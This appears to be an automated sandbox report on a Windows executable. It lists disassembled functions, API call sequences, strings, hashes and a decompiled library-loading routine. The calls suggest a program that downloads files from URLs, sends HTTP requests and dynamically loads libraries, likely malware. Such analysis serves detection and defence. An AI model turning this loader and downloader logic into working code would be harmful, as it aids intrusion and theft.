0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,006720F0), ref: 0040549C
lstrcat.KERNEL32(?,00674FE0), ref: 004054B0
lstrcat.KERNEL32(?,00676038), ref: 004054C4
lstrcat.KERNEL32(?,006720F0), ref: 004054D7
lstrcat.KERNEL32(?,00674FE0), ref: 004054EB
lstrcat.KERNEL32(?,00676008), ref: 004054FF
lstrcat.KERNEL32(?,006720F0), ref: 00405512
lstrcat.KERNEL32(?,00674FE0), ref: 00405526
lstrcat.KERNEL32(?,00676080), ref: 0040553A
lstrcat.KERNEL32(?,006720F0), ref: 0040554D
lstrcat.KERNEL32(?,00674FE0), ref: 00405561
lstrcat.KERNEL32(?,00676020), ref: 00405575
lstrcat.KERNEL32(?,006720F0), ref: 00405588
lstrcat.KERNEL32(?,00674FE0), ref: 0040559C
lstrcat.KERNEL32(?,00676170), ref: 004055B0
lstrcat.KERNEL32(?,006720F0), ref: 004055C3
lstrcat.KERNEL32(?,00674FE0), ref: 004055D7
lstrcat.KERNEL32(?,00674F60), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

pag, xrefs: 004055A2
Og, xrefs: 004054A2, 004054DD, 00405518, 00405553, 0040558E, 004055C9
(rg, xrefs: 00405606
8qg, xrefs: 0040561C
`qg, xrefs: 00405647
`Og, xrefs: 004055DD
`g, xrefs: 00405567
8`g, xrefs: 004054B6

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileOpen$Handle$ChangeCreateFindHttpInfoNotificationQueryReadSleepWrite
String ID: `g$(rg$8`g$8qg$`Og$`qg$pag$Og
API String ID: 1141736759-1253838978
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00475670, Relevance: 39.2, APIs: 18, Strings: 8, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A368), ref: 004756EC
lstrcat.KERNEL32(?,Og), ref: 00475700
lstrcat.KERNEL32(?,8`g), ref: 00475714
lstrcat.KERNEL32(?,0041A368), ref: 00475727
lstrcat.KERNEL32(?,Og), ref: 0047573B
lstrcat.KERNEL32(?,0041A3B4), ref: 0047574F
lstrcat.KERNEL32(?,0041A368), ref: 00475762
lstrcat.KERNEL32(?,Og), ref: 00475776
lstrcat.KERNEL32(?,0041A090), ref: 0047578A
lstrcat.KERNEL32(?,0041A368), ref: 0047579D
lstrcat.KERNEL32(?,Og), ref: 004757B1
lstrcat.KERNEL32(?, `g), ref: 004757C5
lstrcat.KERNEL32(?,0041A368), ref: 004757D8
lstrcat.KERNEL32(?,Og), ref: 004757EC
lstrcat.KERNEL32(?,pag), ref: 00475800
lstrcat.KERNEL32(?,0041A368), ref: 00475813
lstrcat.KERNEL32(?,Og), ref: 00475827
lstrcat.KERNEL32(?,`Og), ref: 0047583B

Part of subcall function 00474C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00474C5E

Part of subcall function 00474C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00474C8A
Part of subcall function 00474C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00474CDF
Part of subcall function 00474C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00474D1F
Part of subcall function 00474C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 00474D35
Part of subcall function 00474C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00474D67
Part of subcall function 00474C30: InternetReadFile.WININET(?,?,00000400,?), ref: 00474D90
Part of subcall function 00474C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00474DBE
Part of subcall function 00474C30: CloseHandle.KERNEL32(?,?,00000400), ref: 00474E0C
Part of subcall function 00474C30: InternetCloseHandle.WININET(?), ref: 00474E16
Part of subcall function 00474C30: InternetCloseHandle.WININET(00000000), ref: 00474E23

Part of subcall function 00474C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00474D00
Part of subcall function 00474C30: Sleep.KERNEL32(00007530), ref: 00474D46

Strings

8qg, xrefs: 0047586C, 00475872
pag, xrefs: 004757F2, 004757F8
`g, xrefs: 004757B7, 004757BD
Og, xrefs: 004756F2, 004756F8, 0047572D, 00475733, 00475768, 0047576E, 004757A3, 004757A9, 004757DE, 004757E4, 00475819, 0047581F
(rg, xrefs: 00475856, 0047585C
`Og, xrefs: 0047582D, 00475833
8`g, xrefs: 00475706, 0047570C
`qg, xrefs: 00475897, 0047589D

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: `g$(rg$8`g$8qg$`Og$`qg$pag$Og
API String ID: 3671864319-1253838978
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: c87d0d840509f87d7073778690059bcc060786815a2c08e1f5930a111dfb149e
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: E86178F6511208ABC711EBA0DD84EDA33BCBB4C704F04C59EB71552151DB78A7A4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0047C530, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0047C582
GetProcAddress.KERNEL32(0041AA64,pe), ref: 0047C59A
GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0047C5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0047C5CB
GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0047C5E3
GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0047C5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0047C614
GetProcAddress.KERNEL32(0041AA64,(f), ref: 0047C62C
GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0047C644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0047C65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0047C673
LoadLibraryA.KERNEL32(0041A0F8,?,00476DC2), ref: 0047C685
LoadLibraryA.KERNEL32(0041A658,?,00476DC2), ref: 0047C697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0047C6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 0047C6D9

Strings

pe, xrefs: 0047C58D, 0047C592
(f, xrefs: 0047C61F, 0047C624

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (f$pe
API String ID: 2238633743-3842069141
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: 07318ab77e1212ba3851c5a6691438e4665dc8c144842cdf621396129c678b3f
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: CD4182F5523200DFC304DFA8EE889E237B9BB88251705C939E50983632D63895A1CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00478530, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0047855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004785AF
RtlAllocateHeap.NTDLL(00000000), ref: 004785B6
lstrcat.KERNEL32(?,hzg), ref: 00478631

Part of subcall function 00477480: memset.MSVCRT ref: 004774D2
Part of subcall function 00477480: LocalAlloc.KERNEL32(00000040,?), ref: 00477521
Part of subcall function 00477480: lstrcat.KERNEL32(?,00000000), ref: 00477587

lstrcat.KERNEL32(?,00000000), ref: 00478675
lstrcat.KERNEL32(?,0041A488), ref: 00478688
lstrcat.KERNEL32(?,?), ref: 0047869C
lstrcat.KERNEL32(?,0041A158), ref: 004786B0
lstrcat.KERNEL32(?,?), ref: 004786C4
lstrcat.KERNEL32(?,004191F0), ref: 004786D6
lstrcat.KERNEL32(?,?), ref: 004786EA
lstrcat.KERNEL32(?,00418BC0), ref: 004786FC
lstrlen.KERNEL32(?), ref: 0047870E

Strings

Pzg, xrefs: 00478552, 00478557
0"g, xrefs: 0047858C, 00478592
hzg, xrefs: 00478623, 00478629

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: 0"g$Pzg$hzg
API String ID: 2806430148-2157380327
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: e14b5c12479baf8e3bc8fb84371499520c11acb4018dabfa45d67e476b95fd82
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: D25164B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F008598F70997251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.zip, xrefs: 00411586
.arc, xrefs: 004115B7
.zoo, xrefs: 004115A0
.lzh, xrefs: 004115CE
.gz, xrefs: 004115FC
.arj, xrefs: 004115E5
.tgz, xrefs: 00411613

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0047A950, Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 489memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0047A95A
RtlAllocateHeap.NTDLL(00000000,?,004769FC), ref: 0047A961

Part of subcall function 004772B0: LoadLibraryA.KERNEL32(0041A6A4,?,0047A971,?,004769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 004772B9
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 004772DF
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 004772F7
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0047730F
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00477328
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00477340
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00477358
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00477371
Part of subcall function 004772B0: GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00477389

Part of subcall function 0047A640: lstrcat.KERNEL32(?,00000000), ref: 0047A684
Part of subcall function 0047A640: lstrcat.KERNEL32(?,?), ref: 0047A6A9
Part of subcall function 0047A640: lstrcat.KERNEL32(?, }g), ref: 0047A6BD

Part of subcall function 0047A760: lstrcat.KERNEL32(?,00000000), ref: 0047A7A4
Part of subcall function 0047A760: lstrcat.KERNEL32(?,?), ref: 0047A7C9
Part of subcall function 0047A760: lstrcat.KERNEL32(?, }g), ref: 0047A7DD

Part of subcall function 0047A870: lstrcat.KERNEL32(?,0041ABAC), ref: 0047A8B7
Part of subcall function 0047A870: lstrcat.KERNEL32(?,?), ref: 0047A8CB
Part of subcall function 0047A870: lstrcat.KERNEL32(?,({g), ref: 0047A8DF

lstrlen.KERNEL32(0041A838), ref: 0047AE66

Part of subcall function 004773A0: FreeLibrary.KERNEL32(0041A82C,?,0047AE98,0041A838,00000004), ref: 004773A9

Part of subcall function 004773C0: FreeLibrary.KERNEL32(0041A824,?,0047AE9D,0041A838,00000004), ref: 004773C9

Strings

Xog, xrefs: 0047ACB0, 0047ACB6
@ng, xrefs: 0047A992, 0047A998
@{g, xrefs: 0047AD8D, 0047AD93
H|g, xrefs: 0047A9B1, 0047A9B7
($g, xrefs: 0047AD6E, 0047AD74
`|g, xrefs: 0047AAE1, 0047AAE7
x|g, xrefs: 0047AC3E, 0047AC44
`$g, xrefs: 0047ADE0, 0047ADE6
ppg, xrefs: 0047AA9C, 0047AAA2
p{g, xrefs: 0047AC11, 0047AC17
pg, xrefs: 0047AC18, 0047AC1E

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeap$AllocateLoadProcesslstrlen
String ID: pg$($g$@ng$@{g$H|g$Xog$`$g$`|g$ppg$p{g$x|g
API String ID: 3556552367-498996070
Opcode ID: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction ID: d44f337b0da7b38adb32960a6391c4da86fc0173a045ddfc95e9f5627590b7d5
Opcode Fuzzy Hash: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction Fuzzy Hash: 8D02A7B6605104BBC748EF99EC81DEB33BDAB8C704B44C51CBA1CC7255D634E921CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004753F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0047541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00475443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0047547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 004754A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 004754C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00475503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0047552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00475577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00475593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 004755A9
Sleep.KERNEL32(00007530), ref: 004755C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004755EC
lstrcat.KERNEL32(?,00000000), ref: 00475628
InternetCloseHandle.WININET(00000000), ref: 00475634
InternetCloseHandle.WININET(00000000), ref: 00475641
InternetCloseHandle.WININET(00000000), ref: 0047564E

Part of subcall function 00474A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00474ACE
Part of subcall function 00474A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00474AF6

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: 523cd8eaf59e35f12d8188d75c6bda4670cee7f07d864f5d53901cf75255967a
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: ED611D71A45359ABDB24DF50CC49FDA77B4BB48704F10C59AB20D6A1C0C7F8AA84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x6756c8
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x6756c8
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x675080
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x6780f8
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x678080
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x6788f8
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x678098
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x678918
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x677d38
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(006756C8,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(006756C8,?), ref: 00407994
LoadLibraryA.KERNEL32(00675080), ref: 004079B2
GetProcAddress.KERNEL32(00000000,006780F8), ref: 004079D7
GetProcAddress.KERNEL32(00000000,00678080), ref: 004079F0
GetProcAddress.KERNEL32(00000000,006788F8), ref: 00407A08
GetProcAddress.KERNEL32(00000000,00678098), ref: 00407A20
GetProcAddress.KERNEL32(00000000,00678918), ref: 00407A39
GetProcAddress.KERNEL32(00000000,00677D38), ref: 00407A51

Strings

8}g, xrefs: 00407A44

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: 8}g
API String ID: 570708976-2625543802
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00477B50, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0041A034,0041B488,0000FFFF), ref: 00477B7E
lstrcat.KERNEL32(?,0041B488), ref: 00477BAD
lstrcat.KERNEL32(?,004191E8), ref: 00477BBF
lstrcat.KERNEL32(?,00000000), ref: 00477BD0
SetEnvironmentVariableA.KERNEL32(0041A034,?), ref: 00477BE4
LoadLibraryA.KERNEL32(0041A6CC), ref: 00477C02
GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 00477C27
GetProcAddress.KERNEL32(0041A824,0041A628), ref: 00477C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00477C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00477C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00477C89
GetProcAddress.KERNEL32(0041A824,8}g), ref: 00477CA1

Strings

8}g, xrefs: 00477C94, 00477C99

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: 8}g
API String ID: 570708976-2625543802
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: 17cdb93a46b749e8b7d8a28e31f99feace0b4bfaae3c165ba4d4730679135b46
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: DA413CB5512200DFD715EFA8ED48AE637F8BB0C345F04C57AB10982260C77999A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 004768A0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0047BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0047BB21

lstrcat.KERNEL32(?,00000000), ref: 00476909
lstrcat.KERNEL32(?,0041A260), ref: 0047691D
lstrcat.KERNEL32(?,0041A368), ref: 00476930
lstrcat.KERNEL32(?,Og), ref: 00476944
lstrcat.KERNEL32(?,0041A76C), ref: 00476958

Part of subcall function 004753F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0047541D
Part of subcall function 004753F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00475443
Part of subcall function 004753F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0047547D
Part of subcall function 004753F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 004754A3
Part of subcall function 004753F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00475503
Part of subcall function 004753F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00475577
Part of subcall function 004753F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00475593
Part of subcall function 004753F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 004755A9

lstrcat.KERNEL32(?,00000000), ref: 00476988

Part of subcall function 00476570: lstrcat.KERNEL32(?,?), ref: 004765E4

Part of subcall function 00474C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00474C5E

Part of subcall function 0047A950: GetProcessHeap.KERNEL32(00000000,000F423F,?,004769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0047A95A
Part of subcall function 0047A950: RtlAllocateHeap.NTDLL(00000000,?,004769FC), ref: 0047A961

Part of subcall function 00475930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0047593B
Part of subcall function 00475930: RtlAllocateHeap.NTDLL(00000000), ref: 00475942
Part of subcall function 00475930: lstrcat.KERNEL32(?,0041A6E4), ref: 00475955
Part of subcall function 00475930: lstrcat.KERNEL32(?,0041A22C), ref: 00475966
Part of subcall function 00475930: lstrcat.KERNEL32(?,00418BC0), ref: 00475975
Part of subcall function 00475930: lstrcat.KERNEL32(?,0041A6C4), ref: 00475986
Part of subcall function 00475930: lstrcat.KERNEL32(?,00418BC4), ref: 00475995
Part of subcall function 00475930: lstrcat.KERNEL32(?,`Ng), ref: 004759A6
Part of subcall function 00475930: lstrcat.KERNEL32(?,00418BC0), ref: 004759B5
Part of subcall function 00475930: lstrcat.KERNEL32(?,P`g), ref: 004759C6
Part of subcall function 00475930: GetCurrentProcessId.KERNEL32 ref: 004759CC
Part of subcall function 00475930: lstrcat.KERNEL32(?,00000000), ref: 004759E0
Part of subcall function 00475930: lstrcat.KERNEL32(?,00418BC0), ref: 004759EF
Part of subcall function 00475930: lstrcat.KERNEL32(?,Xag), ref: 004759FF
Part of subcall function 00475930: lstrcat.KERNEL32(?,00000000), ref: 00475A0F
